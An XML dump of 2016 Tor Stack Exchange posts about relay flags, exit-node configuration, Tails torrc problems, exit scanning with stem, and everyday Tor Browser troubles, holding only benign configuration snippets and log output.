  <row Id="12374" PostTypeId="1" AcceptedAnswerId="12411" CreationDate="2016-08-14T12:03:37.783" Score="1" ViewCount="4363" Body="&lt;p&gt;How exactly do I get the HSDir flag?&#xA;I've read that that you get it, if the Node is accessible for at least 24 hours and it hosts hidden service descriptors. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But I'm still not sure, what is meant by this. Do I have to configure something for this or is it just a matter of time until that flag is set for my Node?&lt;/p&gt;&#xA;" OwnerUserId="13981" LastActivityDate="2016-11-05T22:17:06.247" Title="Getting a HSDir Flag" Tags="|flags|hsdir|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12375" PostTypeId="2" ParentId="12374" CreationDate="2016-08-14T13:00:01.603" Score="-1" Body="&lt;p&gt;If everything is setup properly and you HS is running - it is a matter of time, if the network trusts you enough, you will get flags.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can monitor your node here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://torstatus.blutmagie.de/&quot; rel=&quot;nofollow&quot;&gt;https://torstatus.blutmagie.de/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13983" LastActivityDate="2016-08-14T13:00:01.603" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12378" PostTypeId="2" ParentId="12373" CreationDate="2016-08-14T20:09:35.327" Score="1" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Download the Tor Browser from&#xA;&lt;a href=&quot;https://www.torproject.org/projects/torbrowser.html.en&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.torproject.org/projects/torbrowser.html.en&lt;/a&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Copy &lt;code&gt;&amp;lt;old-browser&amp;gt;/Browser/TorBrowser/Data/Tor/state&lt;/code&gt; to &lt;code&gt;&amp;lt;new-browser&amp;gt;/Browser/TorBrowser/Data/Tor/state&lt;/code&gt; to preserve your entry guards.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Delete your old Tor Browser.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Use the Tor Browser you have just downloaded.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="13988" LastEditorUserId="-1" LastEditDate="2017-01-12T20:14:40.787" LastActivityDate="2017-01-12T20:14:40.787" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12382" PostTypeId="1" CreationDate="2016-08-15T04:36:58.343" Score="2" ViewCount="1309" Body="&lt;p&gt;How to prevent changing exit node when browsing?&lt;br&gt;&#xA;(same IP address until browser restart)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that it is not enough for me to specify just certain domains to have one IP - all domain visits must have same IP&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I have same IP address by using only one exit node&lt;br&gt;&#xA;(which I believe to be insecure)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;ExitNodes _____&#xA;StrictExitNodes 1&#xA;NewCircuitPeriod 3600&#xA;MaxCircuitDirtiness 3600&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;br&gt;&lt;hr&gt;&lt;br&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;b&gt;EDIT:&lt;/b&gt; @SuperSluether - I believe it is even more insecure by having the same IP across &lt;i&gt;all&lt;/i&gt; sessions, rather than just the current session&lt;/p&gt;&#xA;" OwnerUserId="13993" LastEditorUserId="-1" LastEditDate="2016-08-19T09:58:52.530" LastActivityDate="2016-08-19T09:58:52.530" Title="Prevent Changing Exit Node" Tags="|tor-browser-bundle|configuration|circuit|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12383" PostTypeId="1" CreationDate="2016-08-15T13:20:07.210" Score="2" ViewCount="154" Body="&lt;p&gt;In this last version of Tor Browser Bundle (TBB), I keep seeing this popup.  At first I thought I was out of date, so I checked.  This came after an auto update.  But I'm not out of date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://i.stack.imgur.com/C53Uc.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/C53Uc.png&quot; alt=&quot;Your version of Firefox is out of date&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can see my versions here:&#xA;&lt;a href=&quot;https://i.stack.imgur.com/GItVy.png&quot; rel=&quot;nofollow noreferrer&quot;&gt;&lt;img src=&quot;https://i.stack.imgur.com/GItVy.png&quot; alt=&quot;TBB is up to date&quot;&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is going on?  Is this an infection, a bug, or something in between?  Is this just an overlooked setting in this version of Firefox?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I found &lt;a href=&quot;https://tor.stackexchange.com/questions/1905/however-this-browser-is-out-of-date&quot;&gt;this article&lt;/a&gt;, but it's an old question, doesn't have any pictures, and doesn't have any kind of an answer to fix anything.&lt;/p&gt;&#xA;" OwnerUserId="7907" LastActivityDate="2018-06-17T19:24:39.873" Title="Why is TBB telling me &quot;Your version of Firefox is out of date&quot;?" Tags="|firefox|update|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12384" PostTypeId="2" ParentId="12383" CreationDate="2016-08-15T14:05:40.460" Score="3" Body="&lt;p&gt;THIS IS HIGHLY INFORMATIVE... &lt;/p&gt;&#xA;&#xA;&lt;p&gt;-From the &lt;a href=&quot;https://blog.torproject.org/blog/tor-browser-603-released&quot; rel=&quot;nofollow&quot;&gt;Tor Blog&lt;/a&gt;:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&quot;Update (August 11, 10:04 UTC): Starting from a couple of hours ago Tor&#xA;  Browser users might see a notification box in their browser claiming&#xA;  that Firefox is too old providing a button to get a newer one. This is&#xA;  both due to a server-side code change on Mozilla's side and an&#xA;  oversight by us during the ESR45 transition. Clicking on the &quot;Get&#xA;  Firefox&quot; button is safe and leads the user to our Tor Browser download&#xA;  page. Needless to say, this whole behavior is highly confusing and we&#xA;  apologize for it. We are working on a fix as quickly as possible and&#xA;  hope to get Mozilla to exempt Tor Browser users from this feature&#xA;  while we are working on a new release. For technical details see our&#xA;  bug tracker.&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;" OwnerUserId="7907" LastEditorUserId="-1" LastEditDate="2016-08-19T09:57:49.343" LastActivityDate="2016-08-19T09:57:49.343" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12389" PostTypeId="1" CreationDate="2016-08-16T22:11:15.683" Score="2" ViewCount="270" Body="&lt;p&gt;Why doesn't torproject.org have an official onion address? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The TBB &quot;Check for Updates&quot; should happen over an onion. It's seems plausible that nation state actors have the ability to mitm such clearnet updates and possibly inject there own &quot;updates&quot;.&lt;/p&gt;&#xA;" OwnerUserId="14010" LastActivityDate="2016-08-16T23:36:50.583" Title="Why doesn't torproject.org have an official onion address?" Tags="|tor-browser-bundle|configuration|onion-routing|update|torproject.org|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12390" PostTypeId="2" ParentId="12389" CreationDate="2016-08-16T23:36:50.583" Score="6" Body="&lt;p&gt;Actually, there &lt;em&gt;is&lt;/em&gt; an onion address for Tor: &lt;a href=&quot;http://expyuzz4wqqyqhjn.onion/&quot;&gt;http://expyuzz4wqqyqhjn.onion/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The Tor Project runs quite a few onion addresses: &lt;a href=&quot;https://onion.torproject.org/&quot;&gt;https://onion.torproject.org/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I can't confirm if the Tor Browser uses this onion address for updating though.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-08-16T23:36:50.583" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12392" PostTypeId="1" CreationDate="2016-08-17T03:23:02.687" Score="1" ViewCount="399" Body="&lt;p&gt;Is it safe to sync bookmarks between multiple tor browsers using firefox's built-in sync feature? I'm using tbb on 3 different computers at this point and it's getting a bit annoying trying to keep all my bookmarks up to date.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not clear on the threat model or risks involved with this subject.&lt;/p&gt;&#xA;" OwnerUserId="14014" LastActivityDate="2021-12-20T12:05:45.553" Title="Syncing bookmarks in TBB?" Tags="|tor-browser-bundle|configuration|threat-models|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12394" PostTypeId="1" CreationDate="2016-08-17T21:09:25.397" Score="1" ViewCount="3981" Body="&lt;p&gt;I'm currently travelling a lot and have been using TOR to check my emails, in Outlook.com and Gmail. I do it for security and because it's often the quickest way to access them. However, both Outlook and Gmail keep asking me to prove my identity, so much so that it has become untenable to mix Outlook/Gmail with TOR. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I now want to ditch Outlook and Gmail. Can anyone recommend an alternative - and preferably anonymous - free (I'm skint) email provider, which has good working IMAP for use with Thunderbird, and doesn't get it's knickers in a twist about TOR access. Thanks!&lt;/p&gt;&#xA;" OwnerUserId="14023" LastActivityDate="2019-03-01T15:06:07.393" Title="Outlook.com and Gmail don't like TOR" Tags="|email|" AnswerCount="6" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12395" PostTypeId="1" CreationDate="2016-08-17T21:57:16.373" Score="1" ViewCount="529" Body="&lt;p&gt;I'm interested in running my own webserver, and recently acquired a free &lt;a href=&quot;http://dot.tk&quot; rel=&quot;nofollow&quot;&gt;.tk&lt;/a&gt; domain name.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The option which seems best to me is their url forwarding option, which allows you to make the registered domain name simply open a web page with an iframe that points to another url.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This option has its downsides, because I'd have to host a server from my own computer, the ip address of which I obviously don't want to be public knowledge.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm wondering if there is a way to hide my ip address by perhaps configuring a Tor relay network with an endpoint at myself, or whether this is all indeed a very bad idea.&lt;/p&gt;&#xA;" OwnerDisplayName="user14025" LastActivityDate="2017-05-29T13:24:14.140" Title="Can I disguise a server's IP with Tor (or a similar service)?" Tags="|configuration|relays|" AnswerCount="2" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12396" PostTypeId="1" CreationDate="2016-08-18T01:33:27.340" Score="1" ViewCount="428" Body="&lt;p&gt;I read one other post similar to my question, but it does not tell me if it is SAFE to use an exit node that comes from an &quot;Unknown country&quot;.  Is it safe???&lt;/p&gt;&#xA;" OwnerUserId="3495" LastActivityDate="2016-08-18T13:47:49.297" Title="Why does my TOR exit node say &quot;Unknown country&quot;?" Tags="|anonymity|security|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12398" PostTypeId="1" CreationDate="2016-08-18T02:19:53.233" Score="0" ViewCount="132" Body="&lt;p&gt;I have been using Facebook with the Tor browser, with the exit node set always to be in a European country. Facebook has notified me that twice in the last 24 hours I have logged in from different African and Middle Eastern locations. I can't believe that someone in Dar es Salaam, and someone else in Saudi Arabia, have really logged into my account. So, what Tor anomaly is making Facebook think I am logging in from there? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. I wanted to set Facebook as a tag for this question, but I don't yet have enough cudos here to create it. Facebook is a rather important website. Why doesn't it already exist as a tag on here? Can someone create it for me please! Thank you :-)&lt;/p&gt;&#xA;" OwnerUserId="14023" LastEditorDisplayName="user5" LastEditDate="2017-01-16T23:03:44.217" LastActivityDate="2017-01-16T23:03:44.217" Title="Strange anomaly using Facebook with Tor" Tags="|exit-relays|" AnswerCount="3" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12400" PostTypeId="1" CreationDate="2016-08-18T05:25:02.230" Score="1" ViewCount="877" Body="&lt;p&gt;I need to closing two or more open firewall ports in tails. How can I send the command to do this?&lt;/p&gt;&#xA;" OwnerUserId="13912" LastActivityDate="2022-04-07T05:04:10.320" Title="How to close tails firewall port?" Tags="|configuration|security|tails|firewall|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="12401" PostTypeId="1" AcceptedAnswerId="12408" CreationDate="2016-08-18T11:14:42.683" Score="2" ViewCount="1320" Body="&lt;p&gt;I am working on some kind of Exitnode Scanner (Like SoaT from Mike Perry).&#xA;I have downloaded the list of all running Exitnode-IPs and I want to use each IP to build a 3-hop-circuit (or connect directly to it, using 1-hop) with this specific IP. Fetch some data from a website and use the next IP in the list to do the same.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am mostly using Python for this. I use the stem module to get a new identity:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;def newc():&#xA;    with Controller.from_port(port = 9051) as controller:&#xA;        controller.authenticate(PASSWORD)&#xA;        controller.signal(Signal.NEWNYM)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is there a way to make sure it connects through all exits (no duplicate) using stem? Adding all IPs to the torrc does not relay solve the problem, I guess.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or (maybe easier) can I use e.g. proxychains to connect to this one node (IP) and fetch a webpage using bash? My start looks like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;proxychains wget ARGS -O PATH URL&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Thank you very much and have a nice day =)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit:&#xA;So I found 2 possible ways, both not working at the moment. One is using the &quot;ExcludeExitNode&quot; option in the torrc. I tried starting tor with &quot;launch_tor_with_config&quot; but I will get an error stating that Tor is already running. If I kill Tor, I get no such response anymore.&#xA;To workaround this problem, I edit the torrc file and add one line (adding one IP at the end for every iteration). Sending the HUP signal (to make tor reload its config) results in 'received empty socks content'. Any ideas to resolve this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The 2nd option was going with the .exit (dotexit) address. It tells Tor to use this specific exit node for a chain. Problem here is that Tor needs to resolve it with its own DNS-Server (not the one that my system uses), which I couldn't configure. So I stepped away from this idea as well.&lt;/p&gt;&#xA;" OwnerUserId="14029" LastEditorUserId="13768" LastEditDate="2016-09-12T09:43:42.360" LastActivityDate="2016-09-12T09:43:42.360" Title="Iterate through List of Exitnodes" Tags="|tor-browser-bundle|exit-relays|python|identity-change|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12402" PostTypeId="1" CreationDate="2016-08-18T11:28:15.067" Score="3" ViewCount="291" Body="&lt;p&gt;I am wondering if you restart the relay or it is powered down for a period if time, does it go back to phase one and the life cycle starts again? As a new relay? &lt;/p&gt;&#xA;" OwnerUserId="14030" LastEditorUserId="88" LastEditDate="2016-09-14T06:43:24.350" LastActivityDate="2016-09-14T06:43:24.350" Title="Restarting a tor relay. Does it go back to phase one?" Tags="|relays|onion-routing|tor-install|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12403" PostTypeId="2" ParentId="12402" CreationDate="2016-08-18T13:09:47.420" Score="3" Body="&lt;p&gt;No. Your relay will lose some of its flags if it's offline for a period of time, but simply restarting doesn't seem to affect its consensus status. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure if the consensus deteriorates if your relay is off for too long, but your relay shouldn't &quot;reset&quot; unless it's private key gets reset, or is off for long enough to get removed from the consensus. &lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-08-18T13:09:47.420" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12404" PostTypeId="2" ParentId="12398" CreationDate="2016-08-18T13:42:41.013" Score="1" Body="&lt;p&gt;Canonizing ironize hit the nail on the head. IP mapping is inaccurate at best, and completely off the mark most of the time. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was going to suggest using StrictNodes, but it would seem this only applies to excluded nodes: &lt;a href=&quot;https://tor.stackexchange.com/questions/733/can-i-exit-from-a-specific-country-or-node#comment6119_850&quot;&gt;Can I exit from a specific country or node?&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-08-18T13:42:41.013" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12405" PostTypeId="2" ParentId="12396" CreationDate="2016-08-18T13:47:49.297" Score="1" Body="&lt;p&gt;Yes, it is safe. I'm not sure what would make you think having an unknown location is unsafe. &lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-08-18T13:47:49.297" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="12406" PostTypeId="1" CreationDate="2016-08-18T14:18:42.627" Score="1" ViewCount="374" Body="&lt;p&gt;is this a possible unreported bug in the tor browser 6.0.3 on tails 2.5 live?&lt;br&gt;&#xA;just for clarification, i experimented and added these commands:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;ExitNodes {CH}&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;StrictNodes 1&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;either one by one or all at the same time to these files (to no avail):&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/usr/local/lib/tor-browser/TorBrowser/Data/Tor/torrc&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;/etc/tor/torrc&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;/lib/live/mount/overlay/etc/tor/torrc&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;the tor browser simply doesnt pick up the new variables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;i should also add that setting ExitNodes dynamically at the command line:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;tor --ExitNodes &quot;{CH}&quot;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;generates these messages:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;root@amnesia:/home/amnesia# tor --ExitNodes &quot;{CH}&quot;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aug 18 13:51:17.148 [notice] Tor v0.2.7.6 (git-605ae665009853bd) running on Linux with Libevent 2.0.21-stable, OpenSSL 1.0.1k and Zlib 1.2.8.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aug 18 13:51:17.148 [notice] Tor can't help you if you use it wrong! Learn how to be safe at &lt;a href=&quot;https://www.torproject.org/download/download#warning&quot; rel=&quot;nofollow&quot;&gt;https://www.torproject.org/download/download#warning&lt;/a&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aug 18 13:51:17.151 [notice] Read configuration file &quot;/etc/tor/torrc&quot;.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aug 18 13:51:17.160 [warn] ControlPort is open, but no authentication method has been configured.  This means that any program on your computer can reconfigure your Tor.  That's bad!  You should upgrade your Tor controller as soon as possible.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aug 18 13:51:17.161 [notice] Opening Socks listener on 127.0.0.1:9050&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aug 18 13:51:17.161 [warn] Could not bind to 127.0.0.1:9050: Address already in use. Is Tor already running?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aug 18 13:51:17.161 [notice] Opening Socks listener on 127.0.0.1:9061&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aug 18 13:51:17.162 [warn] Could not bind to 127.0.0.1:9061: Address already in use. Is Tor already running?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aug 18 13:51:17.162 [notice] Opening Socks listener on 127.0.0.1:9062&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aug 18 13:51:17.162 [warn] Could not bind to 127.0.0.1:9062: Address already in use. Is Tor already running?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aug 18 13:51:17.162 [notice] Opening Socks listener on 127.0.0.1:9150&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aug 18 13:51:17.162 [warn] Could not bind to 127.0.0.1:9150: Address already in use. Is Tor already running?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aug 18 13:51:17.162 [notice] Opening DNS listener on 127.0.0.1:5353&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aug 18 13:51:17.162 [notice] Opening Transparent pf/netfilter listener on 127.0.0.1:9040&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aug 18 13:51:17.162 [warn] Could not bind to 127.0.0.1:9040: Address already in use. Is Tor already running?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aug 18 13:51:17.162 [notice] Opening Control listener on 127.0.0.1:9051&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aug 18 13:51:17.162 [warn] Could not bind to 127.0.0.1:9051: Address already in use. Is Tor already running?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aug 18 13:51:17.162 [notice] Closing partially-constructed DNS listener on 127.0.0.1:5353&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aug 18 13:51:17.162 [warn] Failed to parse/validate config: Failed to bind one of the listener ports.&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;Aug 18 13:51:17.162 [err] Reading config failed--see warnings above.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;any ideas how to get around this problem? &lt;/p&gt;&#xA;" OwnerUserId="14031" LastActivityDate="2016-08-18T14:18:42.627" Title="Why is Tails (2.5) Live O/S ignoring 'ExitNodes' in torrc?" Tags="|configuration|tails|exit-relays|" AnswerCount="0" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="12408" PostTypeId="2" ParentId="12401" CreationDate="2016-08-18T20:12:21.630" Score="2" Body="&lt;p&gt;This already exists as &lt;a href=&quot;https://github.com/nullhypothesis/exitmap&quot; rel=&quot;nofollow&quot;&gt;ExitMap&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's approach is to launch it's own copy of Tor which is configured not to automatically attach streams to existing circuits through use of the &lt;code&gt;__LeaveStreamsUnattached&lt;/code&gt; option, then use stem to build custom circuits, one to each of the suitable exits and attach the streams to the circuits.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure where you're getting your &quot;list of all running Exitnode-IPs&quot; but I think you're approaching the problem incorrectly. You wouldn't work with IPs, you would use their fingerprint.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Since you won't read the ExitMap source-code, I'll read the ExitMap source-code to you. Consultancy fees may apply*.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://stem.torproject.org/api/control.html#stem.control.Controller.new_circuit&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;stem.control.Controller.new_circuit&lt;/code&gt;&lt;/a&gt; allows you to build a circuit consisting of custom set of &quot;hops&quot;, where hops is an array/list (whatever python calls it) of fingerprints. This returns a Circuit ID. You then later use callbacks from catching new stream events from your setup &lt;a href=&quot;https://stem.torproject.org/api/control.html#stem.control.Controller.add_event_listener&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;stem.control.Controller.add_event_listener&lt;/code&gt;&lt;/a&gt; listening for &lt;a href=&quot;https://stem.torproject.org/api/response.html#stem.response.events.StreamEvent&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;stem.response.events.StreamEvent&lt;/code&gt;&lt;/a&gt; to call &lt;a href=&quot;https://stem.torproject.org/api/control.html#stem.control.Controller.attach_stream&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;stem.control.Controller.attach_stream&lt;/code&gt;&lt;/a&gt; with the previously obtained Circuit ID and the newly obtained Stream ID from the &lt;a href=&quot;https://stem.torproject.org/api/response.html#stem.response.events.StreamEvent&quot; rel=&quot;nofollow&quot;&gt;&lt;code&gt;stem.response.events.StreamEvent&lt;/code&gt;&lt;/a&gt;, resulting in attaching your stream (TCP connection) to the appropriate circuit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Take great care when selecting exits, not all exits exit all traffic, not all exits have the exit flag. You will need to know what IP and port you intend to exit to &lt;em&gt;before&lt;/em&gt; knowing which exits are suitable.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;em&gt;*Consultancy fees are imaginary. Property is theft, intellectual property is double theft, knowledge is power. Read the source-code next time. ;)&lt;/em&gt;&lt;/p&gt;&#xA;" OwnerUserId="12737" LastEditorUserId="12737" LastEditDate="2016-08-22T09:42:55.547" LastActivityDate="2016-08-22T09:42:55.547" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="12410" PostTypeId="1" CreationDate="2016-08-19T00:32:02.317" Score="1" ViewCount="7" Body="&lt;p&gt;I haven't modified tor or anything and i already tried reinstalling tor but no luck. it stays stick at loading network status.&lt;/p&gt;&#xA;" OwnerUserId="14038" LastActivityDate="2016-08-19T00:32:02.317" Title="Is anyone else's tor not working?" Tags="|torcheck|" AnswerCount="0" CommentCount="6" ClosedDate="2016-08-19T03:04:35.010" ContentLicense="CC BY-SA 3.0" />
  <row Id="12411" PostTypeId="2" ParentId="12374" CreationDate="2016-08-19T01:26:02.263" Score="4" Body="&lt;p&gt;It's a little more complicated than &quot;just a matter of time.&quot; You need the &quot;Fast&quot; and &quot;Stable&quot; flags, according to &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/8243&quot; rel=&quot;nofollow noreferrer&quot;&gt;ticket #8243&lt;/a&gt;. According to &lt;a href=&quot;https://trac.torproject.org/projects/tor/ticket/12538&quot; rel=&quot;nofollow noreferrer&quot;&gt;ticket #12538&lt;/a&gt; the DirPort is not required anymore.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastEditorUserId="14962" LastEditDate="2016-11-05T22:17:06.247" LastActivityDate="2016-11-05T22:17:06.247" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="12412" PostTypeId="2" ParentId="12321" CreationDate="2016-08-19T01:45:48.827" Score="2" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;All other countries are working...&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;According to &lt;a href=&quot;https://compass.torproject.org&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://compass.torproject.org&lt;/a&gt;, there are no exit relays in Greece, so you can't get a Greek IP through Tor.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there anything I can do?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Like canonizing ironize said, you can run an exit node in Greece, get a VPN in Greece, or ask someone else to set one up for you in Greece.&lt;/p&gt;&#xA;" OwnerUserId="12240" LastEditorUserId="12240" LastEditDate="2017-05-22T14:18:24.560" LastActivityDate="2017-05-22T14:18:24.560" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12413" PostTypeId="2" ParentId="12394" CreationDate="2016-08-19T01:49:09.780" Score="0" Body="&lt;p&gt;Though I've never used it, perhaps you should look at Mail2Tor. They only provide access through a Tor hidden service: &lt;a href=&quot;http://mail2tor.com/&quot; rel=&quot;nofollow&quot;&gt;http://mail2tor.com/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12240" LastActivityDate="2016-08-19T01:49:09.780" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12416" PostTypeId="2" ParentId="12398" CreationDate="2016-08-19T13:59:28.030" Score="0" Body="&lt;p&gt;for access to faceboob, you may want to check into using some [free] vpn service for that locale.&lt;br&gt;&#xA;i use country specific exitnodes only for sites that either dont have vpn service for that location or that particular vpn service was tagged and rejected by the site i access.  nevertheless, as @canonizingironize highlighted, my experience is the same = exitnodes are not guaranteed and are inaccurate.  to compensate for the inaccuracy, i use exitnodes in conjunction w/ something like geoiptool, mylocation.org etc. and access the resource only when i see my traffic is exiting in that location.&lt;/p&gt;&#xA;" OwnerUserId="14031" LastActivityDate="2016-08-19T13:59:28.030" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="12418" PostTypeId="1" CreationDate="2016-08-19T20:40:48.813" Score="1" ViewCount="7254" Body="&lt;p&gt;Tor became unresponsive for no reason,&amp;amp; immediately firefox became unresponsive.then,Tor crashed,&amp;amp; after about 35 seconds firefox crashed.&#xA;i wish that firefox would just continue working like it normally does,&#xA;but unfortunately it doesn't.&#xA;i had been looking through the Tor folder,&amp;amp; i can't find my session.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;now i'm afraid to open Tor.so...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1.where does Tor stores the session?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;2.is my session destroyed?is there anyway to recover it???&lt;/p&gt;&#xA;" OwnerUserId="14052" LastActivityDate="2022-08-01T18:07:08.667" Title="session restore" Tags="|session|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
